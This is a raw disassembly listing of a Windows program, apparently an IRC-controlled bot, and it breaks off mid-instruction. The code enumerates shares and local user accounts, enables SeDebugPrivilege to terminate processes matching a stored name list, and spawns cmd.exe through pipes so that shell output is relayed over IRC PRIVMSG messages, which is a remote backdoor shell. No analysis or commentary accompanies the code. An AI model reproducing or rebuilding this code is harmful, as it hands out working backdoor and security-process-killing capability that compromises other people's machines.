XREF: sub_41BD5A+B5j sub eax, 8CAh jz short loc_41BE73 sub eax, 17h jz short loc_41BE6C sub eax, 25h jz short loc_41BE65 sub eax, 29h jz short loc_41BE5E loc_41BE57: ; CODE XREF: sub_41BD5A+31j ; sub_41BD5A+83j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_41BE78 ; --------------------------------------------------------------------------- loc_41BE5E: ; CODE XREF: sub_41BD5A+FBj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_41BE78 ; --------------------------------------------------------------------------- loc_41BE65: ; CODE XREF: sub_41BD5A+F6j push offset aShareNotFound_ ; "Share not found." jmp short loc_41BE78 ; --------------------------------------------------------------------------- loc_41BE6C: ; CODE XREF: sub_41BD5A+BEj ; sub_41BD5A+F1j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_41BE78 ; --------------------------------------------------------------------------- loc_41BE73: ; CODE XREF: sub_41BD5A+ECj push offset aNetworkConnect ; "Network connection not found." loc_41BE78: ; CODE XREF: sub_41BD5A+3Cj ; sub_41BD5A+46j ... push offset dword_4E1F10 call sub_41E6A6 pop ecx pop ecx mov eax, offset dword_4E1F10 retn sub_41BD5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE8A proc near ; CODE XREF: sub_40274D+44CAp var_71C = byte ptr -71Ch var_31C = byte ptr -31Ch var_10C = byte ptr -10Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 71Ch push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_71C] push eax call sub_4204DD add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_10C] mov esi, 108h push eax mov [ebp+var_4], esi call ds:dword_42B05C ; GetComputerNameA push esi lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_31C] push eax call sub_4204DD lea eax, [ebp+var_71C] push eax call sub_4206A3 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_71C] push eax push 0 lea eax, [ebp+var_31C] push eax push 0 call ds:dword_444114 test eax, eax jnz short loc_41BF1A push offset unk_4385CC mov esi, offset dword_4E1F70 push esi call sub_41E6A6 pop ecx pop ecx jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF1A: ; CODE XREF: sub_41BE8A+7Aj lea ecx, [ebp+var_71C] push ecx lea ecx, [ebp+var_31C] push ecx call sub_41BD5A push eax push offset dword_4385A0 mov esi, offset dword_4E1F70 push esi call sub_41E6A6 add esp, 14h loc_41BF41: ; CODE XREF: sub_41BE8A+8Ej mov eax, esi pop esi leave retn sub_41BE8A endp ; =============== S U B R O U T I N E ======================================= sub_41BF46 proc near ; CODE XREF: sub_40274D:loc_406A33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41BF9C push 0 lea esi, [eax+eax*2] push 0 shl esi, 2 push ds:dword_443408[esi] push edi push eax call sub_41B465 add esp, 14h test eax, eax jnz short loc_41BF8E push edi push ds:off_443404[esi] push offset unk_438644 loc_41BF7E: ; CODE XREF: sub_41BF46+54j mov esi, offset dword_4E2170 push esi call sub_41E6A6 add esp, 10h jmp short loc_41BFB9 ; --------------------------------------------------------------------------- loc_41BF8E: ; CODE XREF: sub_41BF46+2Aj call sub_41B507 push eax push edi push offset unk_438618 jmp short loc_41BF7E ; --------------------------------------------------------------------------- loc_41BF9C: ; CODE XREF: sub_41BF46+Cj lea eax, [eax+eax*2] push ds:off_443400[eax*4] mov esi, offset dword_4E2170 push offset unk_4385F4 push esi call sub_41E6A6 add esp, 0Ch loc_41BFB9: ; CODE XREF: sub_41BF46+46j pop edi mov eax, esi pop esi retn sub_41BF46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BFBE proc near ; CODE XREF: sub_40274D:loc_406B1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_41C056 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_41BFE7 dec eax jnz short loc_41C036 push edi push 0 call sub_41B8EE pop ecx pop ecx jmp short loc_41C032 ; --------------------------------------------------------------------------- loc_41BFE7: ; CODE XREF: sub_41BFBE+18j cmp [ebp+arg_8], 0 jnz short loc_41C024 push 24h push edi call sub_41EFD0 test eax, eax pop ecx pop ecx jnz short loc_41C024 push 57h pop eax loc_41BFFE: ; CODE XREF: sub_41BFBE+76j call sub_41BD5A push eax push edi lea eax, [esi+esi*2] push ds:off_443400[eax*4] mov esi, offset dword_4E2370 push offset unk_4386A0 push esi call sub_41E6A6 add esp, 14h jmp short loc_41C076 ; --------------------------------------------------------------------------- loc_41C024: ; CODE XREF: sub_41BFBE+2Dj ; sub_41BFBE+3Bj push [ebp+arg_8] push edi push 0 call sub_41B883 add esp, 0Ch loc_41C032: ; CODE XREF: sub_41BFBE+27j test eax, eax jnz short loc_41BFFE loc_41C036: ; CODE XREF: sub_41BFBE+1Bj push edi lea eax, [esi+esi*2] push ds:off_443404[eax*4] mov esi, offset dword_4E2370 push offset dword_438684 push esi call sub_41E6A6 add esp, 10h jmp short loc_41C076 ; --------------------------------------------------------------------------- loc_41C056: ; CODE XREF: sub_41BFBE+Aj mov eax, [ebp+arg_0] lea eax, [eax+eax*2] push ds:off_443400[eax*4] mov esi, offset dword_4E2370 push offset unk_438660 push esi call sub_41E6A6 add esp, 0Ch loc_41C076: ; CODE XREF: sub_41BFBE+64j ; sub_41BFBE+96j pop edi mov eax, esi pop esi pop ebp retn sub_41BFBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C07C proc near ; CODE XREF: sub_40274D+43F9p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push ebx push esi push edi push [ebp+arg_C] call sub_41B7C1 xor esi, esi push esi push [ebp+arg_8] mov [ebp+var_10], eax push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] mov [ebp+var_4], esi push [ebp+arg_0] mov [ebp+var_14], esi mov [ebp+var_C], esi call sub_40123B add esp, 18h loc_41C0B5: ; CODE XREF: sub_41C07C+10Dj lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax push 0FFFFFFFFh lea eax, [ebp+var_8] push eax push 1F6h push [ebp+var_10] call ds:dword_44420C mov ebx, eax cmp ebx, esi jz short loc_41C116 cmp ebx, 0EAh jz short loc_41C116 push ebx call sub_41BD5A push eax lea eax, [ebp+var_214] push offset unk_4386EC push eax call sub_41E6A6 push esi push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 24h jmp short loc_41C183 ; --------------------------------------------------------------------------- loc_41C116: ; CODE XREF: sub_41C07C+5Dj ; sub_41C07C+65j xor edi, edi inc edi cmp [ebp+var_4], edi jb short loc_41C17A mov esi, [ebp+var_8] add esi, 14h loc_41C124: ; CODE XREF: sub_41C07C+FAj push dword ptr [esi+10h] call ds:dword_444204 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_41C13B mov eax, offset aNo ; "No" loc_41C13B: ; CODE XREF: sub_41C07C+B8j push eax push dword ptr [esi] lea eax, [ebp+var_214] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41E6A6 push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+var_4] jbe short loc_41C124 xor esi, esi loc_41C17A: ; CODE XREF: sub_41C07C+A0j push [ebp+var_8] call ds:dword_444140 loc_41C183: ; CODE XREF: sub_41C07C+98j cmp ebx, 0EAh jz loc_41C0B5 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_41C07C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C19B proc near ; CODE XREF: sub_40274D:loc_406BABp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_41C23E mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_41C1DD dec eax jz short loc_41C1D2 dec eax jnz short loc_41C1F8 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_41B98C add esp, 14h jmp short loc_41C1F4 ; --------------------------------------------------------------------------- loc_41C1D2: ; CODE XREF: sub_41C19B+1Dj push ebx push edi call sub_41B96B pop ecx pop ecx jmp short loc_41C1F4 ; --------------------------------------------------------------------------- loc_41C1DD: ; CODE XREF: sub_41C19B+1Aj cmp [ebp+arg_8], edi jz short loc_41C1F1 push [ebp+arg_8] push ebx push edi call sub_41B911 add esp, 0Ch jmp short loc_41C1F4 ; --------------------------------------------------------------------------- loc_41C1F1: ; CODE XREF: sub_41C19B+45j push 57h pop eax loc_41C1F4: ; CODE XREF: sub_41C19B+35j ; sub_41C19B+40j ... cmp eax, edi jnz short loc_41C218 loc_41C1F8: ; CODE XREF: sub_41C19B+20j push ebx lea eax, [esi+esi*2] push ds:off_443404[eax*4] mov esi, offset dword_4E2570 push offset unk_4387A4 push esi call sub_41E6A6 add esp, 10h jmp short loc_41C25E ; --------------------------------------------------------------------------- loc_41C218: ; CODE XREF: sub_41C19B+5Bj call sub_41BD5A push eax push ebx lea eax, [esi+esi*2] push ds:off_443400[eax*4] mov esi, offset dword_4E2570 push offset unk_438774 push esi call sub_41E6A6 add esp, 14h jmp short loc_41C25E ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C19B+Dj mov eax, [ebp+arg_0] lea eax, [eax+eax*2] push ds:off_443400[eax*4] mov esi, offset dword_4E2570 push offset unk_43874C push esi call sub_41E6A6 add esp, 0Ch loc_41C25E: ; CODE XREF: sub_41C19B+7Bj ; sub_41C19B+A1j pop edi mov eax, esi pop esi pop ebx pop ebp retn sub_41C19B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C265 proc near ; CODE XREF: sub_40274D+4487p var_21C = byte ptr -21Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 21Ch push esi push edi push [ebp+arg_C] xor esi, esi mov [ebp+var_4], esi call sub_41B7C1 push esi push [ebp+arg_8] mov [ebp+var_18], eax push offset aUsernameAccoun ; "Username accounts for local system:" push [ebp+arg_4] mov [ebp+var_8], esi push [ebp+arg_0] mov [ebp+var_14], esi mov [ebp+var_1C], esi mov [ebp+var_C], esi call sub_40123B add esp, 18h push ebx loc_41C2A4: ; CODE XREF: sub_41C265+129j lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_8] push eax push 0FFFFFFFFh lea eax, [ebp+var_4] push eax push 2 push esi push [ebp+var_18] call ds:dword_4440E0 cmp eax, esi mov [ebp+var_10], eax jz short loc_41C303 cmp eax, 0EAh jz short loc_41C303 push eax call sub_41BD5A push eax lea eax, [ebp+var_21C] push offset unk_438810 push eax call sub_41E6A6 push esi push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 24h jmp short loc_41C374 ; --------------------------------------------------------------------------- loc_41C303: ; CODE XREF: sub_41C265+62j ; sub_41C265+69j mov edi, [ebp+var_4] cmp edi, esi jz short loc_41C387 xor ebx, ebx cmp [ebp+var_8], esi jbe short loc_41C374 loc_41C311: ; CODE XREF: sub_41C265+E7j cmp edi, esi lea eax, [ebp+var_21C] jz short loc_41C350 push dword ptr [edi] push offset aS_4 ; " %S" push eax call sub_41E6A6 push 1 push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 20h add edi, 4 inc [ebp+var_C] inc ebx cmp ebx, [ebp+var_8] jb short loc_41C311 jmp short loc_41C374 ; --------------------------------------------------------------------------- loc_41C350: ; CODE XREF: sub_41C265+B4j push offset unk_4387DC push eax call sub_41E6A6 push esi push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 1Ch loc_41C374: ; CODE XREF: sub_41C265+9Cj ; sub_41C265+AAj ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41C387 push edi call ds:dword_444140 xor edi, edi mov [ebp+var_4], edi loc_41C387: ; CODE XREF: sub_41C265+A3j ; sub_41C265+114j cmp [ebp+var_10], 0EAh jz loc_41C2A4 cmp edi, esi pop ebx jz short loc_41C3A0 push edi call ds:dword_444140 loc_41C3A0: ; CODE XREF: sub_41C265+132j push [ebp+var_C] lea eax, [ebp+var_21C] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41E6A6 push esi push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 20h xor eax, eax cmp [ebp+var_10], esi pop edi setz al pop esi leave retn sub_41C265 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3D9 proc near ; CODE XREF: sub_41AEBB+7p ; sub_41C444+61p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:dword_42B09C ; GetCurrentProcess push eax call ds:dword_444244 ; OpenProcessToken test eax, eax jnz short loc_41C3F8 leave retn ; --------------------------------------------------------------------------- loc_41C3F8: ; CODE XREF: sub_41C3D9+1Bj push esi lea eax, [ebp+var_10] push eax push [ebp+arg_0] xor esi, esi push esi call ds:dword_444228 ; LookupPrivilegeValueA test eax, eax jz short loc_41C436 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_41C41F or [ebp+var_8], 2 jmp short loc_41C423 ; --------------------------------------------------------------------------- loc_41C41F: ; CODE XREF: sub_41C3D9+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41C423: ; CODE XREF: sub_41C3D9+44j push esi push esi push esi lea eax, [ebp+var_14] push eax push esi push [ebp+var_4] call ds:dword_444170 ; AdjustTokenPrivileges mov esi, eax loc_41C436: ; CODE XREF: sub_41C3D9+32j push [ebp+var_4] call ds:dword_42B004 ; CloseHandle mov eax, esi pop esi leave retn sub_41C3D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=60h sub_41C444 proc near ; CODE XREF: sub_40274D+7533p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp lea ebp, [esp-60h] sub esp, 550h push ebx push esi push edi xor ebx, ebx push 49h xor eax, eax cmp ds:dword_4440F0, ebx pop ecx lea edi, [ebp+60h+var_128] mov [ebp+60h+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+60h+var_34C] mov [ebp+60h+var_350], ebx rep stosd jz loc_41C635 cmp ds:dword_444154, ebx jz loc_41C635 cmp ds:dword_4440A4, ebx jz loc_41C635 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41C3D9 pop ecx pop ecx push ebx push 0Fh call ds:dword_4440F0 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+60h+var_4], edi jz loc_41C628 lea eax, [ebp+60h+var_12C] push eax push edi mov [ebp+60h+var_12C], 128h call ds:dword_444154 ; Process32First test eax, eax mov esi, ds:dword_42B004 jz loc_41C623 lea eax, [ebp+60h+var_12C] push eax push edi call ds:dword_4440A4 ; Process32Next test eax, eax jz loc_41C623 mov ebx, ds:dword_42B040 loc_41C505: ; CODE XREF: sub_41C444+1D7j xor edi, edi cmp [ebp+60h+arg_10], edi jz short loc_41C562 loc_41C50C: ; CODE XREF: sub_41C444+E5j push ds:off_443460[edi] lea eax, [ebp+60h+var_108] push eax call ds:dword_42B124 ; lstrcmpi test eax, eax jz short loc_41C530 add edi, 4 cmp edi, 60h jb short loc_41C50C jmp loc_41C609 ; --------------------------------------------------------------------------- loc_41C530: ; CODE XREF: sub_41C444+DDj push [ebp+60h+var_124] push 0 push 1F0FFFh call ebx ; OpenProcess mov edi, eax test edi, edi jz loc_41C609 push 0 push edi call ds:dword_42B094 ; TerminateProcess test eax, eax jnz loc_41C609 loc_41C55A: ; CODE XREF: sub_41C444+1ABj push edi call esi ; CloseHandle jmp loc_41C609 ; --------------------------------------------------------------------------- loc_41C562: ; CODE XREF: sub_41C444+C6j cmp [ebp+60h+arg_C], edi jnz loc_41C5F4 cmp [ebp+60h+arg_4], edi jz loc_41C609 push [ebp+60h+var_124] push 8 call ds:dword_4440F0 ; CreateToolhelp32Snapshot cmp [ebp+60h+arg_14], 0 mov edi, eax mov [ebp+60h+var_350], 224h jz short loc_41C5B4 lea eax, [ebp+60h+var_350] push eax push edi call ds:dword_444118 ; Module32First test eax, eax push [ebp+60h+var_124] jz short loc_41C5BA lea eax, [ebp+60h+var_230] jmp short loc_41C5C0 ; --------------------------------------------------------------------------- loc_41C5B4: ; CODE XREF: sub_41C444+14Ej push [ebp+60h+var_124] loc_41C5BA: ; CODE XREF: sub_41C444+166j lea eax, [ebp+60h+var_108] loc_41C5C0: ; CODE XREF: sub_41C444+16Ej push eax lea eax, [ebp+60h+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_41E6A6 add esp, 10h push 1 push [ebp+60h+arg_8] lea eax, [ebp+60h+var_550] push eax push [ebp+60h+arg_4] push [ebp+60h+arg_0] call sub_40123B add esp, 14h jmp loc_41C55A ; --------------------------------------------------------------------------- loc_41C5F4: ; CODE XREF: sub_41C444+121j push [ebp+60h+arg_C] lea eax, [ebp+60h+var_108] push eax call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_41C63F loc_41C609: ; CODE XREF: sub_41C444+E7j ; sub_41C444+FFj ... lea eax, [ebp+60h+var_12C] push eax push [ebp+60h+var_4] call ds:dword_4440A4 ; Process32Next test eax, eax jnz loc_41C505 xor ebx, ebx loc_41C623: ; CODE XREF: sub_41C444+9Fj ; sub_41C444+B5j push [ebp+60h+var_4] call esi ; CloseHandle loc_41C628: ; CODE XREF: sub_41C444+79j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41C3D9 pop ecx pop ecx loc_41C635: ; CODE XREF: sub_41C444+3Cj ; sub_41C444+48j ... xor eax, eax loc_41C637: ; CODE XREF: sub_41C444+226j pop edi pop esi pop ebx add ebp, 60h leave retn ; --------------------------------------------------------------------------- loc_41C63F: ; CODE XREF: sub_41C444+1C3j push [ebp+60h+var_124] push 0 push 1F0FFFh call ebx ; OpenProcess push [ebp+60h+var_4] mov edi, eax call esi ; CloseHandle push 0 push edi call ds:dword_42B094 ; TerminateProcess test eax, eax jnz short loc_41C667 push edi call esi ; CloseHandle jmp short loc_41C635 ; --------------------------------------------------------------------------- loc_41C667: ; CODE XREF: sub_41C444+21Cj xor eax, eax inc eax jmp short loc_41C637 sub_41C444 endp ; --------------------------------------------------------------------------- dword_41C66C dd 246C8D55h, 98EC818Ch, 8B000002h, 57567C45h, 8B59266Ah ; DATA XREF: sub_40274D+24CAo dd 0DC7D8DF0h, 80C7A5F3h, 94h, 1, 0FDDC858Dh, 0F868FFFFh dd 50004389h, 2005E8h, 39F63300h, 59596C75h, 0FF561A75h dd 858D6875h, 0FFFFFDDCh, 0E0458D50h, 0DC75FF50h, 0FE4B7AE8h dd 14C483FFh, 8D6475FFh, 5656E045h, 506875FFh, 0E8DC75FFh dd 0FFFFFD6Ch, 8518C483h, 0DC858DC0h, 75FFFFFDh, 89D46807h dd 5EB0043h, 4389B068h, 0AFE85000h, 3900001Fh, 59596C75h dd 0FF561A75h, 858D6875h, 0FFFFFDDCh, 0E0458D50h, 0DC75FF50h dd 0FE4B26E8h, 14C483FFh, 0FDDC858Dh, 0E850FFFFh, 0FFFFB64Ch dd 0E86075FFh, 0FFFEEA1Dh, 0FF565959h, 42B06815h db 0, 0CCh ; =============== S U B R O U T I N E ======================================= sub_41C736 proc near ; CODE XREF: sub_40274D+74D4p ; sub_40AF6E+4Dp arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] xor edi, edi push 0 push 1F0FFFh inc edi call ds:dword_42B040 ; OpenProcess mov esi, eax test esi, esi jz short loc_41C768 push 0 push esi call ds:dword_42B094 ; TerminateProcess test eax, eax jnz short loc_41C768 push esi xor edi, edi call ds:dword_42B004 ; CloseHandle loc_41C768: ; CODE XREF: sub_41C736+1Aj ; sub_41C736+27j mov eax, edi pop edi pop esi retn sub_41C736 endp ; --------------------------------------------------------------------------- byte_41C76D db 56h, 33h, 0F6h ; DATA XREF: sub_40A263+3B4o dd 5656016Ah, 0E8565656h, 0FFFFFCC8h, 0FF18C483h, 44345835h dd 1415FF00h, 0EB0042B0h db 0E3h ; =============== S U B R O U T I N E ======================================= sub_41C78D proc near ; CODE XREF: sub_41C7BD+2Ap ; sub_41C7F5+7Ep ... mov eax, ds:dword_4E277C cmp eax, 0FFFFFFFFh push esi mov esi, ds:dword_42B004 jz short loc_41C7A1 push eax call esi ; CloseHandle loc_41C7A1: ; CODE XREF: sub_41C78D+Fj mov eax, ds:dword_4E2778 cmp eax, 0FFFFFFFFh jz short loc_41C7AE push eax call esi ; CloseHandle loc_41C7AE: ; CODE XREF: sub_41C78D+1Cj mov eax, ds:dword_4E27B4 cmp eax, 0FFFFFFFFh jz short loc_41C7BB push eax call esi ; CloseHandle loc_41C7BB: ; CODE XREF: sub_41C78D+29j pop esi retn sub_41C78D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7BD proc near ; CODE XREF: sub_40274D+7216p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41E1C0 pop ecx push 0 lea ecx, [ebp+var_4] push ecx push eax push [ebp+arg_0] mov [ebp+var_4], eax push ds:dword_4E2770 call ds:dword_42B084 ; WriteFile test eax, eax jnz short loc_41C7F0 call sub_41C78D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_41C7F0: ; CODE XREF: sub_41C7BD+28j xor eax, eax inc eax leave retn sub_41C7BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7F5 proc near ; CODE XREF: seg000:0041C93Cp ; seg000:0041C983p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_42B633 push [ebp+arg_4] call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_41C838 push 7D0h call ds:dword_42B014 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS_1 ; "PRIVMSG %s :%s\r" push eax call sub_41E6A6 add esp, 10h jmp short loc_41C84F ; --------------------------------------------------------------------------- loc_41C838: ; CODE XREF: sub_41C7F5+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS ; "%s" push eax call sub_41E6A6 add esp, 0Ch loc_41C84F: ; CODE XREF: sub_41C7F5+41j lea eax, [ebp+var_200] push 0 push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call ds:dword_4441A0 ; send test eax, eax jg short loc_41C878 call sub_41C78D loc_41C878: ; CODE XREF: sub_41C7F5+7Cj xor eax, eax leave retn sub_41C7F5 endp ; --------------------------------------------------------------------------- loc_41C87C: ; DATA XREF: sub_41C9D4+174o push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h push esi xor edi, edi lea eax, [ebp-20Ch] push edi push eax call sub_41E5F0 mov ebx, ds:dword_42B12C jmp loc_41C952 ; --------------------------------------------------------------------------- loc_41C8A8: ; CODE XREF: seg000:0041C96Dj cmp [ebp-4], edi jnz short loc_41C8D8 lea eax, [ebp-8] push eax push ds:dword_4E27B4 call ds:dword_42B128 ; GetExitCodeProcess test eax, eax jz short loc_41C8CE cmp dword ptr [ebp-8], 103h jnz loc_41C9A0 loc_41C8CE: ; CODE XREF: seg000:0041C8BFj push 0Ah call ds:dword_42B014 ; Sleep jmp short loc_41C944 ; --------------------------------------------------------------------------- loc_41C8D8: ; CODE XREF: seg000:0041C8ABj xor eax, eax cmp [ebp-4], edi jbe short loc_41C8F3 loc_41C8DF: ; CODE XREF: seg000:0041C8F1j cmp byte ptr [ebp+eax-20Ch], 0Ah jz loc_41C997 inc eax cmp eax, [ebp-4] jb short loc_41C8DF loc_41C8F3: ; CODE XREF: seg000:0041C8DDj mov [ebp-4], esi loc_41C8F6: ; CODE XREF: seg000:0041C99Bj push esi lea eax, [ebp-20Ch] push edi push eax call sub_41E5F0 add esp, 0Ch push edi lea eax, [ebp-0Ch] push eax push dword ptr [ebp-4] lea eax, [ebp-20Ch] push eax push ds:dword_4E277C call ds:dword_42B080 ; ReadFile test eax, eax jz loc_41C9AC lea eax, [ebp-20Ch] push eax push offset dword_4E2780 push ds:dword_4E2774 call sub_41C7F5 add esp, 0Ch loc_41C944: ; CODE XREF: seg000:0041C8D6j push esi lea eax, [ebp-20Ch] push edi push eax call sub_41E5F0 loc_41C952: ; CODE XREF: seg000:0041C8A3j add esp, 0Ch push edi push edi lea eax, [ebp-4] push eax push esi lea eax, [ebp-20Ch] push eax push ds:dword_4E277C call ebx ; PeekNamedPipe test eax, eax jnz loc_41C8A8 push offset unk_438A80 push offset dword_4E2780 push ds:dword_4E2774 call sub_41C7F5 push dword ptr [ebp+8] call sub_40B149 add esp, 10h push 1 jmp short loc_41C9CD ; --------------------------------------------------------------------------- loc_41C997: ; CODE XREF: seg000:0041C8E7j inc eax mov [ebp-4], eax jmp loc_41C8F6 ; --------------------------------------------------------------------------- loc_41C9A0: ; CODE XREF: seg000:0041C8C8j call sub_41C78D push offset unk_438A58 jmp short loc_41C9B1 ; --------------------------------------------------------------------------- loc_41C9AC: ; CODE XREF: seg000:0041C924j push offset unk_438A28 loc_41C9B1: ; CODE XREF: seg000:0041C9AAj push offset dword_4E2780 push ds:dword_4E2774 call sub_41C7F5 push dword ptr [ebp+8] call sub_40B149 add esp, 10h push edi loc_41C9CD: ; CODE XREF: seg000:0041C995j call ds:dword_42B068 ; ExitThread int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9D4 proc near ; CODE XREF: sub_40274D+22E8p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push esi call sub_41C78D xor esi, esi push esi lea eax, [ebp+var_178] push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call ds:dword_444124 ; SearchPathA test eax, eax jnz short loc_41CA0B or eax, 0FFFFFFFFh jmp loc_41CB8A ; --------------------------------------------------------------------------- loc_41CA0B: ; CODE XREF: sub_41C9D4+2Dj push ebx push edi mov edi, ds:dword_42B0A0 push esi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_C] push eax xor ebx, ebx lea eax, [ebp+var_10] inc ebx push eax mov [ebp+var_1C], 0Ch mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_41CAD2 push esi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_41CAD2 mov edi, ds:dword_42B09C push 3 push esi push esi push offset dword_4E2770 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call ds:dword_42B098 ; DuplicateHandle test eax, eax jz short loc_41CAD2 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41E5F0 push 44h pop edi push edi lea eax, [ebp+var_74] push esi push eax call sub_41E5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi push esi mov ebx, offset byte_42B633 push ebx lea eax, [ebp+var_178] push eax mov [ebp+var_74], edi mov [ebp+var_48], 